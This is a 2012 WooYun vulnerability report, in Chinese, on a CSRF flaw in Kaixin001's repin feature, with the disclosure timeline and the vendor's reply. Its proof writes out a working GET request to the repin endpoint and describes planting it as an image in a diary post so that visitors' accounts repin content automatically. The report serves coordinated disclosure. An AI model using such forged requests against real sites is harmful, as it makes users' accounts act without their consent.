漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-05038
漏洞标题：开心集品中收集的漏洞可导致用户自动收集我的信息
相关厂商：kaixin001.com
漏洞作者： songlv
提交时间：2012-03-05 13:13
修复时间：2012-04-19 13:14
公开时间：2012-04-19 13:14
漏洞类型：CSRF
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-03-05： 细节已通知厂商并且等待厂商处理中
2012-03-05： 厂商已经确认，细节仅向厂商公开
2012-03-15： 细节向核心白帽子及相关领域专家公开
2012-03-25： 细节向普通白帽子公开
2012-04-04： 细节向实习白帽子公开
2012-04-19： 细节向公众公开
简要描述：
让网友自动收集信息可以实现恶意刷信息
详细说明：
第一步 将post转成 GET请求
第二步 利用日记等具备贴图功能将GET请求植入到文章中
漏洞证明：
第一步 将post转成 GET请求
http://jipin.kaixin001.com/pin/ajax/pin_repin.php?rpinid=1395316295631307&aid=1395574390490225&desc=%C7%E5%B5%AD%B5%C4%BD%F0%D5%EB%B9%BD%B6%B9%B8%AF%CC%C0%A3%AC%D2%BB%B5%E3%B4%D0%BB%A8%B0%D1%CC%C0%B5%E3%D7%BA%B5%C3%C4%C7%C3%B4%C7%A1%B5%BD%BA%C3%B4%A6%A1%A3&url=http%3A%2F%2Fwww.duitang.com%2Fp%3C%3Eeople%2Fmblog%2F9606093%2Fdetail%2F&price=&label=&1.jpg
第二步 利用日记等具备贴图功能将GET请求植入到文章中
如我的日志
http://www.kaixin001.com/diary/view_126468_48599009.html?classid=69323&pos=0&start=0&type=class
修复方案：
加强制POST判断
版权声明：转载请注明来源 songlv@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2012-03-05 16:34
厂商回复：
之前已经限制了get的提交，
会再比较post 与 get参数，严格区分限制。
感谢！
最新状态：
暂无